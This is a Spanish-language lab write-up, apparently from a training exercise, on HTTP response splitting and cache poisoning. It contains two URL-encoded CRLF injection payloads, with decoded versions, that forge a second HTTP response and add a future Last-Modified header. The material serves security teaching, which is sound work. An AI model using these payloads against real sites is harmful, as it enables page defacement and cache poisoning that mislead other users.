Sei sulla pagina 1di 4

Práctica 1

HTTP Splitting – Division HTTP

Tarea 1: HTTP SPLITTING ATTACK

Cuando se ingresa a una aplicación web a través de un recurso no confiable, esto se realiza con una
petición HTTP.

Los datos son incluidos en la cabecera de la respuesta HTTP que es enviada al usuario web sin validar
caracteres maliciosos.

La división de respuesta HTTP es un ataque sencillo, donde el atacante envía datos maliciosos a una
aplicación vulnerable, y la solicitud incluye los datos en un encabezado de respuesta HTTP.

Para implementar el ataque con éxito, la aplicación debe permitir el ingreso de caracteres que CR (retorno
de carro, %0d, \r) y LF (avance de línea, %0a, \n). Commented [AG1]: HTML URL Encoding Reference

Paso 1: Probar que estos caracteres puedan ser ingresados en la aplicación web. Las entradas no son
validadas y se puede inyectar una sentencia HTTP.

Al buscar estos caracteres se mostrará que la propiedad “language” será igual a los caracteres ingresados
en el inputText:
Figura 1. HTTP request

Figura 2. HTTP response

En la figura 2 se ve que la longitud del contenido es 0, esto le indicara al servidor que la petición ha sido
terminada. Sin embargo el mensaje “200 OK” luce HTTP/1.1 200 OK. Esto significa que la petición fue
satisfactoria.

Paso 2: Ingresar el siguiente contenido http

foobar%0d%0aContent- Commented [AG2]: Permiten codificar caracteres


Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked</html> Commented [AG3]: %20 == espacio

Decoded:

foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 47
Hacked J

Tarea 2: HTTP SPLITTING TO CACHE POISONING (Division HTTP con envenenamiento de


cache)

El efecto de un ataque HTTP Splitting se maximiza con el envenenamiento de la cache. Con esto el atacante
engañará a la víctima haciéndole pensar que la petición HTTP es buena.

En la cadena ingresada en la primera tarea solo se debe agregar la propiedad “’Última modificación”, ésta
debe ser una fecha futura, lo que le permitirá al atacante interceptar la respuesta del servidor y sustituirla.

Paso 1: Ingresar el siguiente contenido http

foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aLast-
Modified:%20Thu,%2018%20Oct%202018%2014:50:18%20GMT%0d%0aContent-
Length:%2047%0d%0a%0d%0a<html>Hacked J</html>

Decoded:

foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 18 Oct 2018 14:50:18 GMT
Content-Length: 47

Hacked J
Referencias:

https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

Potrebbero piacerti anche